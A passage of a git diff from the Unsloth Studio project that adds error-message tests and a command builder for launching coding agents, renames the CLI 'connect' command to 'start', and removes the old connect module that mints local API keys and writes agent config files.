+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -40,6 +40,7 @@ from routes.inference import (
     _effective_max_tokens,
     _extract_content_parts,
     _friendly_error,
+    _friendly_upstream_error,
     _merge_user_content,
     _monitor_openai_chunk,
     _monitor_openai_sse_event,
@@ -57,6 +58,32 @@ from routes.inference import (
 from state.tool_policy import reset_tool_policy
 
 
+class TestFriendlyUpstreamError:
+    def test_grammar_parse_failure_gets_actionable_message(self):
+        raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}'
+        msg = _friendly_upstream_error(raw)
+        assert "failed to parse grammar" not in msg  # raw body is not surfaced verbatim
+        assert "tool-calling grammar" in msg and "Update Studio" in msg
+
+    def test_failed_to_initialize_samplers_alone_matches(self):
+        assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers")
+
+    def test_unrelated_error_passes_through(self):
+        assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory"
+
+    def test_openai_passthrough_error_rewrites_grammar_failure(self):
+        # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions)
+        # get the same actionable message as the Anthropic passthrough, not the raw body.
+        from routes.inference import _openai_passthrough_error
+
+        exc = _openai_passthrough_error(
+            400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}'
+        )
+        assert "tool-calling grammar" in exc.detail
+        # An unrelated upstream error still passes through verbatim.
+        assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail
+
+
 # =====================================================================
 # ChatMessage — tool role, tool_calls, optional content
 # =====================================================================
diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts
new file mode 100644
index 0000000000..9e87922970
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/agent-command.ts
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Build the `unsloth start <agent>` command for the API-keys panel.
+// `unsloth start` reads UNSLOTH_STUDIO_URL (default 127.0.0.1:8888) and only
+// auto-mints a key for a loopback server, so the bare command is correct only for
+// the default local server. For a non-default port or tunnel/remote base, emit the
+// URL (plus a key for non-loopback) so the copy targets what the UI shows.
+
+const DEFAULT_STUDIO_PORT = "8888";
+const DEFAULT_AGENT = "claude";
+
+// URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is
+// "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below.
+function normalizeHost(host: string): string {
+  const lower = host.toLowerCase();
+  return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower;
+}
+
+// The bare `unsloth start` probes exactly http://127.0.0.1:8888, so only that literal
+// host earns the bare command. `localhost` can resolve to ::1 (and `::1` is never
+// probed), so both keep an explicit UNSLOTH_STUDIO_URL -- harmless when they alias
+// 127.0.0.1, correct when they don't.
+function isDefaultLocalHost(host: string): boolean {
+  return host === "127.0.0.1";
+}
+
+// Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8.
+function isLoopbackHost(host: string): boolean {
+  if (host === "localhost" || host === "::1") return true;
+  const octets = host.split(".");
+  return (
+    octets.length === 4 &&
+    octets[0] === "127" &&
+    octets.every((o) => /^\d{1,3}$/.test(o) && Number(o) <= 255)
+  );
+}
+
+export function buildAgentCommand(
+  base: string | null | undefined,
+  key: string | null | undefined,
+  os: "unix" | "windows",
+  agent: string = DEFAULT_AGENT,
+): string {
+  const bare = `unsloth start ${agent}`;
+
+  let url: URL | null = null;
+  try {
+    if (base) url = new URL(base);
+  } catch {
+    url = null;
+  }
+  // Unknown base: fall back to the bare default-local command.
+  if (!url) return bare;
+
+  const host = normalizeHost(url.hostname);
+  const loopback = isLoopbackHost(host);
+  // Default local server (http://127.0.0.1/localhost:8888): bare command
+  // auto-discovers it. The CLI's bare default probes plain HTTP, so an HTTPS
+  // loopback on the same port must keep its explicit UNSLOTH_STUDIO_URL.
+  if (url.protocol === "http:" && isDefaultLocalHost(host) && url.port === DEFAULT_STUDIO_PORT) {
+    return bare;
+  }
+
+  // Non-default server: set the URL; non-loopback also needs an explicit key.
+  let cmd = bare;
+  if (!loopback && key) cmd += ` --api-key ${key}`;
+
+  const studioUrl = url.origin;
+  return os === "windows"
+    ? `$env:UNSLOTH_STUDIO_URL="${studioUrl}"; ${cmd}`
+    : `UNSLOTH_STUDIO_URL=${studioUrl} ${cmd}`;
+}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index d66ca6105d..c43dd0f219 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -32,6 +32,7 @@ import {
   loadOpenAIAutoSwitchSettings,
   updateOpenAIAutoSwitchSettings,
 } from "../api/openai-auto-switch";
+import { buildAgentCommand } from "./agent-command";
 
 type ExampleType =
   | "curl"
@@ -441,6 +442,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
+  const [copiedAgent, setCopiedAgent] = useState(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
   // null while loading; the same setting the General tab exposes (shared cache).
   const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
@@ -477,6 +479,11 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     () => buildSnippets(base, key, model, os, autoSwitchOn),
     [base, key, model, os, autoSwitchOn],
   );
+  // Agent command must target the server the panel shows, not the :8888 default.
+  const agentCommand = useMemo(
+    () => buildAgentCommand(base, key, os),
+    [base, key, os],
+  );
 
   const osAware = OS_AWARE[lang];
   const shikiLang = CURL_TYPES.has(lang)
@@ -520,6 +527,13 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     }
   };
 
+  const handleCopyAgent = async () => {
+    if (await copyToClipboard(agentCommand)) {
+      setCopiedAgent(true);
+      setTimeout(() => setCopiedAgent(false), 1800);
+    }
+  };
+
   return (
     <section className="flex min-w-0 max-w-full flex-col">
       <h2 className="mb-2 text-sm font-semibold text-foreground">
@@ -689,6 +703,33 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
             language={shikiLang}
           />
         </div>
+        <div className="flex min-w-0 flex-col gap-1.5 border-t border-border px-3 py-2.5">
+          <span className="text-[11px] font-semibold text-foreground">
+            {t("settings.apiKeys.codingAgents")}
+          </span>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {t("settings.apiKeys.codingAgentsHint")}
+          </span>
+          <div className="relative mt-0.5 min-w-0">
+            <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-[11px] text-foreground">
+              {agentCommand}
+            </code>
+            <button
+              type="button"
+              onClick={handleCopyAgent}
+              className="absolute right-1.5 top-1/2 flex -translate-y-1/2 items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-0.5 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              aria-label={t("settings.apiKeys.copySnippet")}
+            >
+              <HugeiconsIcon
+                icon={copiedAgent ? Tick02Icon : Copy01Icon}
+                className={cn("size-3.5", copiedAgent && "text-emerald-600")}
+              />
+            </button>
+          </div>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {t("settings.apiKeys.codingAgentsSwap")}
+          </span>
+        </div>
         <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
           <span>{t("settings.apiKeys.setupDocs")}</span>
           {DOC_LINKS.map((link) => (
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 92abc222a0..3d73ad4343 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -440,6 +440,10 @@ export const en = {
       copy: "Copy",
       copied: "Copied",
       setupDocs: "Setup docs:",
+      codingAgents: "Coding agents",
+      codingAgentsHint:
+        "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.",
+      codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.",
       relativeNever: "never",
       relativeJustNow: "just now",
       relativeHoursAgo: "{count}h ago",
diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py
index 440b6276cd..b3831f5314 100644
--- a/unsloth_cli/__init__.py
+++ b/unsloth_cli/__init__.py
@@ -11,7 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError
 from unsloth_cli.commands.train import train
 from unsloth_cli.commands.inference import inference
 from unsloth_cli.commands.chat import chat
-from unsloth_cli.commands.connect import connect_app
+from unsloth_cli.commands.start import start_app
 from unsloth_cli.commands.export import export, list_checkpoints
 from unsloth_cli.commands.studio import (
     run as studio_run,
@@ -79,9 +79,16 @@ app.command()(export)
 app.command("list-checkpoints")(list_checkpoints)
 app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.")
 app.add_typer(
-    connect_app,
+    start_app,
+    name = "start",
+    help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.",
+)
+# Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`.
+app.add_typer(
+    start_app,
     name = "connect",
-    help = "Connect a coding agent (Claude Code, Codex) to Studio.",
+    hidden = True,
+    help = "Deprecated alias for `unsloth start`.",
 )
 
 # Top-level `unsloth run` aliases `unsloth studio run`; same context
diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py
deleted file mode 100644
index 096a7925e5..0000000000
--- a/unsloth_cli/commands/connect.py
+++ /dev/null
@@ -1,777 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""`unsloth connect` — launch a coding agent against a running Studio server."""
-
-import json
-import os
-import re
-import shlex
-import shutil
-import signal
-import subprocess
-import urllib.error
-import urllib.request
-from pathlib import Path
-from typing import NoReturn, Optional
-
-import typer
-
-from unsloth_cli._inference import (
-    _USER_AGENT,
-    _studio_token,
-    ensure_studio_backend_path,
-    find_studio_server,
-    is_loopback_url,
-    urlopen_no_redirect,
-    verify_studio_identity,
-)
-
-connect_app = typer.Typer(
-    help = "Connect a coding agent to a running Studio server.",
-    no_args_is_help = True,
-    context_settings = {"help_option_names": ["-h", "--help"]},
-)
-
-_CODEX_PROFILE = "unsloth_api"
-_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
-_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
-_HERMES_PROVIDER = "unsloth"
-_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
-_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
-_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
-
-# Shared by every agent command; only the config/env/command differ.
-_MODEL_OPTION = typer.Option(
-    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
-)
-_KEY_OPTION = typer.Option(
-    None,
-    "--api-key",
-    envvar = "UNSLOTH_API_KEY",
-    help = (
-        "Studio API key. For a local Studio it is minted automatically and "
-        "remembered per server. For a remote server, pass one with --api-key "
-        "(or UNSLOTH_API_KEY); it is remembered for next time."
-    ),
-)
-_LAUNCH_OPTION = typer.Option(
-    True,
-    "--launch/--no-launch",
-    help = "--no-launch prints the env and command instead (remote shells, WSL).",
-)
-
-
-def _fail(message: str) -> NoReturn:
-    typer.echo(message, err = True)
-    raise typer.Exit(code = 1)
-
-
-def _http_error_detail(exc: urllib.error.HTTPError) -> str:
-    try:
-        body = json.loads(exc.read().decode())
-        return body.get("detail") or body["error"]["message"]
-    except Exception:
-        return str(exc)
-
-
-def _http_json(
-    method: str,
-    url: str,
-    token: str,
-    payload = None,
-    timeout = 30,
-    error = None,
-):
-    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
-    request = urllib.request.Request(
-        url,
-        data = None if payload is None else json.dumps(payload).encode(),
-        headers = {
-            "Authorization": f"Bearer {token}",
-            "Content-Type": "application/json",
-            "User-Agent": _USER_AGENT,
-        },
-        method = method,
-    )
-    try:
-        # No redirects: a 3xx would leak this bearer token to an unvetted base.
-        with urlopen_no_redirect(request, timeout = timeout) as response:
-            return json.loads(response.read().decode() or "{}")
-    except urllib.error.HTTPError as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {_http_error_detail(exc)}")
-    except (urllib.error.URLError, TimeoutError) as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
-
-
-def _require_studio() -> str:
-    base = find_studio_server()
-    if base is None:
-        expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
-        _fail(
-            f"No running Studio server found at {expected}. Start one with "
-            "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
-        )
-    return base
-
-
-def _key_cache_path() -> Path:
-    ensure_studio_backend_path()
-    from utils.paths import auth_root
-    return auth_root() / "agent_api_key.json"
-
-
-def _read_cache(cache: Path) -> dict:
-    try:
-        data = json.loads(cache.read_text(encoding = "utf-8"))
-    except Exception:
-        return {}
-    return data if isinstance(data, dict) else {}
-
-
-def _server_buckets(servers: dict, base: str) -> dict:
-    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
-    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
-    entry = servers.get(base) if isinstance(servers, dict) else None
-    if isinstance(entry, list):
-        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
-    if not isinstance(entry, dict):
-        return {"saved": [], "minted": []}
-
-    def _strs(name: str) -> list:
-        value = entry.get(name)
-        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
-
-    return {"saved": _strs("saved"), "minted": _strs("minted")}
-
-
-def _cached_keys(cache: Path, base: str, source: str) -> list:
-    # Keys are scoped per server. `source` splits user-supplied --api-key keys
-    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
-    # only after the identity check). Legacy unscoped caches are ignored.
-    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
-
-
-def _write_private_json(path: Path, data: dict) -> None:
-    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
-    # even briefly (existing files keep whatever perms the user set).
-    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
-    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
-    with os.fdopen(fd, "w") as handle:
-        handle.write(json.dumps(data, indent = 2) + "\n")
-
-
-def _read_json_object(path: Path) -> Optional[dict]:
-    # {} when missing, None when it can't be parsed as an object (so the caller
-    # leaves a user-managed file untouched rather than clobbering it).
-    if not path.exists():
-        return {}
-    try:
-        data = json.loads(path.read_text(encoding = "utf-8"))
-    except (ValueError, OSError):
-        return None
-    return data if isinstance(data, dict) else None
-
-
-def _subdict(parent: dict, key: str) -> dict:
-    child = parent.get(key)
-    if not isinstance(child, dict):
-        child = parent[key] = {}
-    return child
-
-
-def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
-    data = _read_cache(cache)
-    servers = data.get("servers")
-    if not isinstance(servers, dict):
-        servers = data["servers"] = {}
-    buckets = _server_buckets(servers, base)
-    other = "minted" if source == "saved" else "saved"
-    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
-    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
-    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
-    if servers.get(base) == new_entry:
-        return
-    servers[base] = new_entry
-    # Collapse legacy unscoped fields.
-    data.pop("keys", None)
-    data.pop("key", None)
-    try:
-        _write_private_json(cache, data)
-    except OSError:
-        pass  # worst case the next launch mints another key
-
-
-def _key_accepted(base: str, key: str) -> bool:
-    try:
-        _http_json("GET", f"{base}/v1/models", key)
-        return True
-    except Exception:
-        return False
-
-
-def _agent_api_key(base: str, explicit: Optional[str]) -> str:
-    cache = _key_cache_path()
-    if explicit:
-        _remember_key(cache, base, explicit, "saved")
-        return explicit
-
-    # Replay a key the user saved for *this exact* server first (scoped per base,
-    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
-    # secret the local handshake can't match). Skip ones the server rejects.
-    for key in _cached_keys(cache, base, "saved"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "saved")
-            return key
-
-    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
-    # trusts a base after only a health check, so both are limited to a loopback
-    # server we can cryptographically confirm is ours.
-    if not is_loopback_url(base):
-        _fail(
-            f"No saved API key for {base} and automatic minting only runs against "
-            "a local Studio. Create an API key in Studio → Settings → API and "
-            "pass it with --api-key (it is remembered per server), or set "
-            "UNSLOTH_API_KEY."
-        )
-    if not verify_studio_identity(base):
-        _fail(
-            f"Couldn't verify that {base} is your Studio (it may be running as a "
-            "different OS user, or another process took the port). Create an API "
-            "key in Studio → Settings → API and pass it with --api-key, or set "
-            "UNSLOTH_API_KEY."
-        )
-
-    # Identity verified: replay a previously auto-minted key, else mint a new one.
-    for key in _cached_keys(cache, base, "minted"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "minted")
-            return key
-
-    # Self-issue a JWT (signed with the local secret) and mint a key.
-    token = _studio_token()
-    if token is None:
-        _fail(
-            "Couldn't authenticate with the Studio server automatically. Create "
-            "an API key in Studio → Settings → API and pass it with --api-key, "
-            "or set UNSLOTH_API_KEY."
-        )
-    key = _http_json(
-        "POST",
-        f"{base}/api/auth/api-keys",
-        token,
-        {"name": "Coding agents (unsloth connect)"},
-        error = "Couldn't create an API key",
-    )["key"]
-    _remember_key(cache, base, key, "minted")
-    return key
-
-
-def _loaded_models(base: str, key: str) -> list:
-    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
-
-
-def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict:
-    models = _loaded_models(base, key)
-    match = next((m for m in models if m["id"] == requested), None)
-    if requested and match is None:
-        typer.echo(f"Loading {requested} on the Studio server (this can take a while)…")
-        loaded = _http_json(
-            "POST",
-            f"{base}/api/inference/load",
-            key,
-            {"model_path": requested},
-            timeout = 3600,
-            error = "Model load failed",
-        )
-        # Studio registers the model under a canonical id (resolved identifier,
-        # casing) that /v1/models echoes but which may differ from the path we
-        # passed; match on the id the load reports so we don't silently fall
-        # through to models[0] and connect to a different loaded model.
-        wanted = {requested}
-        if isinstance(loaded, dict):
-            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
-        models = _loaded_models(base, key)
-        match = next((m for m in models if m["id"] in wanted), None)
-    if match is not None:
-        return match
-    if requested:
-        # We asked Studio to load it and it didn't surface in /v1/models; don't
-        # silently hand back an unrelated loaded model.
-        _fail(
-            f"Studio didn't report '{requested}' as loaded. Double-check the model "
-            "id, or load it from the model dropdown in the UI."
-        )
-    if not models:
-        _fail(
-            "No model is loaded in Studio. Load one from the model dropdown in "
-            "the UI, or pass --model <hf-id-or-path> to load it from here."
-        )
-    return models[0]
-
-
-def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
-    # Codex always streams, and Studio only streams /v1/responses from llama-server.
-    try:
-        status = _http_json("GET", f"{base}/api/inference/status", key)
-    except urllib.error.HTTPError as exc:
-        if exc.code == 404:
-            return  # older server without the endpoint; don't block the launch
-        raise
-    if status.get("is_gguf"):
-        return
-    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
-    _fail(
-        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
-        f"the transformers backend. Try: unsloth connect codex --model {hint}"
-    )
-
-
-def claude_settings_path() -> Path:
-    return Path.home() / ".claude" / "settings.json"
-
-
-def ensure_claude_attribution_header() -> None:
-    # The header invalidates the llama.cpp KV cache (~90% slower) and Claude
-    # Code only honors this setting from settings.json, not the env var.
-    path = claude_settings_path()
-    settings = {}
-    if path.exists():
-        try:
-            settings = json.loads(path.read_text(encoding = "utf-8"))
-        except (ValueError, OSError):
-            settings = None
-        if not isinstance(settings, dict):
-            typer.echo(
-                f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-                'to "0" in its "env" section yourself, or local inference will be much slower.',
-                err = True,
-            )
-            return
-    env = settings.get("env")
-    if not isinstance(env, dict):
-        env = settings["env"] = {}
-    if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0":
-        return
-    env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0"
-    try:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8")
-    except OSError:
-        typer.echo(
-            f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-            'to "0" in its "env" section yourself, or local inference will be much slower.',
-            err = True,
-        )
-        return
-    typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).")
-
-
-_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
-
-
-def _claude_cache_flags() -> list:
-    # The flag moves per-machine context (cwd, env info, git status) out of
-    # the system prompt, where it changes every session and defeats llama.cpp
-    # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p`
-    # passed through ctx.args); interactive sessions accept and ignore it.
-    # Claude Code < 2.1.98 aborts on the unknown flag, so check the version
-    # first; no local binary means a --no-launch printout for another machine.
-    executable = shutil.which("claude")
-    if executable is None:
-        return [_DYNAMIC_SECTIONS_FLAG]
-    try:
-        result = subprocess.run(
-            [executable, "--version"], capture_output = True, text = True, timeout = 10
-        )
-        version = tuple(int(part) for part in result.stdout.split()[0].split("."))
-    except Exception:
-        return []
-    return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else []
-
-
-def codex_home() -> Path:
-    return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex")
-
-
-def _merge_codex_config(existing: str, base: str) -> str:
-    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
-    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
-        if chunks[0] and not chunks[0].endswith("\n"):
-            chunks[0] += "\n"
-        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
-    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
-    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
-    text = "".join(c for c in chunks if not c.startswith(stale))
-    if not text.endswith("\n"):
-        text += "\n"
-    if not text.endswith("\n\n"):
-        text += "\n"
-    return text + (
-        f"{_PROVIDER_HEADER}\n"
-        'name = "Unsloth Studio"\n'
-        f"base_url = {json.dumps(base + '/v1')}\n"
-        f'env_key = "{_CODEX_ENV_KEY}"\n'
-        'wire_api = "responses"\n'
-        "requires_openai_auth = false\n"
-    )
-
-
-def write_codex_config(base: str, model: dict) -> None:
-    home = codex_home()
-    home.mkdir(parents = True, exist_ok = True)
-
-    config = home / "config.toml"
-    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
-    merged = _merge_codex_config(existing, base)
-    if merged != existing:
-        config.write_text(merged, encoding = "utf-8")
-        typer.echo(f"Updated {config}")
-
-    # oss_provider here too: codex --oss picks the provider from it, and the
-    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
-    profile_text = (
-        f'oss_provider = "{_CODEX_PROFILE}"\n'
-        f'model_provider = "{_CODEX_PROFILE}"\n'
-        f"model = {json.dumps(model['id'])}\n"
-    )
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        profile_text += f"model_context_window = {int(window)}\n"
-    profile = home / f"{_CODEX_PROFILE}.config.toml"
-    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
-        profile.write_text(profile_text, encoding = "utf-8")
-        typer.echo(f"Updated {profile}")
-
-
-def _wsl_windows_executable(command: list) -> Optional[str]:
-    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
-        return None
-    executable = shutil.which(command[0])
-    if executable and executable.startswith("/mnt/"):
-        return executable
-    return None
-
-
-def _merge_wslenv(current: str, names: tuple) -> str:
-    entries = [entry for entry in current.split(":") if entry]
-    existing = {entry.split("/", 1)[0] for entry in entries}
-    entries.extend(name for name in names if name not in existing)
-    return ":".join(entries)
-
-
-def _print_env(
-    env: dict,
-    command: list,
-    unset_env: tuple = (),
-    wsl_env_bridge: tuple = (),
-) -> None:
-    if os.name == "nt":
-        for name in unset_env:
-            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
-        for name, value in env.items():
-            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
-            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
-            typer.echo(f'$env:{name} = "{escaped}"')
-        typer.echo(subprocess.list2cmdline(command))
-        return
-    for name in unset_env:
-        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
-    for name, value in env.items():
-        typer.echo(f"export {name}={shlex.quote(value)}")
-    if wsl_env_bridge:
-        typer.echo(
-            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
-        )
-    typer.echo(shlex.join(command))
-
-
-def _launch(
-    command: list,
-    env: dict,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> NoReturn:
-    executable = shutil.which(command[0])
-    if executable is None:
-        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    child_env = dict(os.environ)
-    if wsl_env_bridge:
-        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
-        for name in unset_env:
-            child_env[name] = ""
-    else:
-        for name in unset_env:
-            child_env.pop(name, None)
-    child_env.update(env)
-    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
-    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
-    try:
-        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
-    finally:
-        signal.signal(signal.SIGINT, previous)
-    # Negative returncode means killed by signal N; shells expect 128+N.
-    raise typer.Exit(code = code if code >= 0 else 128 - code)
-
-
-def _connect(api_key: Optional[str], model: Optional[str]) -> tuple:
-    base = _require_studio()
-    key = _agent_api_key(base, api_key)
-    return base, key, _resolve_model(base, key, model)
-
-
-def _run(
-    base: str,
-    entry: dict,
-    env: dict,
-    command: list,
-    *,
-    launch: bool,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> None:
-    typer.echo(f"Studio {base} · model {entry['id']}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    if not launch:
-        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
-        return
-    _launch(command, env, install_hint = install_hint, unset_env = unset_env)
-
-
-def openclaw_config_path() -> Path:
-    return Path.home() / ".openclaw" / "openclaw.json"
-
-
-def write_openclaw_config(base: str, key: str, model: dict) -> None:
-    path = openclaw_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
-    provider_model = {"id": model["id"], "name": model["id"]}
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        provider_model["contextWindow"] = int(window)
-    models = _subdict(config, "models")
-    models.setdefault("mode", "merge")
-    _subdict(models, "providers")["unsloth"] = {
-        "baseUrl": f"{base}/v1",
-        "apiKey": key,
-        "api": "openai-completions",
-        "models": [provider_model],
-    }
-    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
-    defaults = _subdict(_subdict(config, "agents"), "defaults")
-    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
-    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
-    # the websocket. The daemon must still be started separately (`openclaw gateway`).
-    gateway = _subdict(config, "gateway")
-    gateway.setdefault("mode", "local")
-    _subdict(gateway, "auth").setdefault("mode", "none")
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def opencode_config_path() -> Path:
-    config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config"
-    return Path(config_home) / "opencode" / "opencode.json"
-
-
-def write_opencode_config(base: str, key: str, model: dict) -> None:
-    path = opencode_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    config.setdefault("$schema", "https://opencode.ai/config.json")
-    _subdict(config, "provider")["unsloth"] = {
-        "npm": "@ai-sdk/openai-compatible",
-        "name": "Unsloth Studio",
-        "options": {"baseURL": f"{base}/v1", "apiKey": key},
-        "models": {model["id"]: {"name": model["id"]}},
-    }
-    # OpenCode selects a model by "<providerID>/<modelID>".
-    config["model"] = f"unsloth/{model['id']}"
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def hermes_config_path() -> Path:
-    return Path.home() / ".hermes" / "config.yaml"
-
-
-def write_hermes_config(base: str, model: dict) -> None:
-    import yaml
-
-    path = hermes_config_path()
